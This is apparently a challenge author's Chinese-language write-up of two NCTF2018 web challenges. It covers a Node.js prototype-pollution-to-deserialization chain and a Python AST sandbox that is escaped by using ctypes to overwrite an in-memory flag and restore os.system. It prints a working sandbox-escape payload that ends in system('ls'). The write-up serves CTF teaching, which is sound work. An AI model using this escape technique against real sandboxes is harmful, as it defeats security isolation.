NCTF2018出题笔记

往年十一月份的南邮校赛都是校内关起门来自己玩,今年和小伙伴们讨论了下,尝试着对外开放,并开始探索自己的难度定级,就结果来看,比赛的举办还算是比较顺利的。
这次比赛因为自己的事,正式出题其实在比赛开始前一周的时间才开始,题目也是比较简单的类型,分别是一个Node和一个Python。

MilkTea

题目本身给出了源码,可以直接下载到,通过审计题目代码可以发现漏洞触发点在反序列化的地方,而为了抵达这个反序列化,则需要让某个参数满足一定条件,题目的利用链非常的耿直,也没有什么坑。题目考点如下:

Prototype Pollution

第一个地方是原型链污染,参数判断位置在:

1
2
3
if(ser["Flag"] == 1){
...
}

往上追溯赋值链:

1
2
3
ser = [];
...
Info = [];

初始赋值没有什么问题,但是可以发现Info和ser都是初始值为空数组,而Info数组的值是我们可以控制的:

1
Info[username][bookname] = remark;

这就是一个比较明显的原型链污染了

参考链接:

https://otakekumi.github.io/2018/09/11/JavaScript-原型链及变量覆盖/

Node Unserialize

第二个点就是node的反序列化,算是烂大街型的洞了,直接贴一个参考链接:

https://paper.seebug.org/213/

First Blood Of Homura

这个题其实是个AST沙盒绕过,题目核心思想其实是通过ctypes去修改变量的值,达到绕过的目的,题目考点如下:

Python Sandbox

题目本事环境是个沙盒,nc连接之后会得到一个python的命令行,连接时长为10s,选手需要在10s内getshell,因此需要不断尝试。
因为使用的模板的问题,在输出的缓冲区这儿有点小bug,因此像以下语句:

1
2
eval('print 1')
print(1)

会输出:

1
2
'eval' is not defined
1

为了进行源码绕过,首先需要读取源文件,而脚本路径在题目信息中已经给出,读取内容的方式为:

1
print(open('xxxxx').read())

根据模块的调用关系可以确定题目的文件组成为:

1
2
3
4
5
6
| - nctf
| - - __init__.py
| - - nctf.py
| - - nctf_config.py
| - - utils.py
| - main.py

读取源码完成后,可以发现题目本身开放了部分函数以及属性,这一部分在源码内可以看到。

AST Bypass

首先通读源码可以发现沙盒环境中的函数是通过如下语句引入的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def init_symbol(use_numpy=True, **kws):
symtable = {}
for para in PY:
if para in builtins:
symtable[para] = builtins[para]
for para in MATH:
if hasattr(math, para):
symtable[para] = getattr(math, para)
if HAS_NUMPY and use_numpy:
for para in NUMPY:
if hasattr(numpy, para):
symtable[para] = getattr(numpy, para)
if hasattr(ctypes,para):
symtable[para] = getattr(ctypes,para)
if hasattr(os,para):
symtable[para] = getattr(os,para)
for name, para in MATH2.items():
if hasattr(numpy, para):
symtable[name] = getattr(numpy, para)
if hasattr(ctypes,para):
symtable[name] = getattr(ctypes,para)
if hasattr(os,para):
symtable[para] = getattr(os,para)
symtable.update(LOCALFUNCS)
symtable.update(kws)
return symtable

我们可以发现有以下几个模块涉及到了:

可以发现ctypes和os都是比较敏感的模块,在nctf_config.py中可以读取到引入到函数,可以发现ctypes引入了部分函数,以及os引入system函数。基本确定突破口在system函数这里。

但是直接在命令行中输入system则会返回

1
0

说明还有地方做了限制。继续分析源码,可以发现在nctf.py中有如下语句:

1
2
if self.symtable['ctx']:
self.symtable['system'] = 0

所以需要篡改self.symtable['ctx']的值,追溯到其引入点utils.py中的:

1
LOCALFUNCS = {'open': _open, 'type': _type, 'ctx':1}

攻击方法基本确认,通过ctypes修改ctx的值从而进行覆盖,恢复system函数的作用,payload如下:

1
2
cc=c_int.from_address(id(ctx)+(sizeof(c_long) + sizeof(c_voidp)));cc.value=0
system('ls')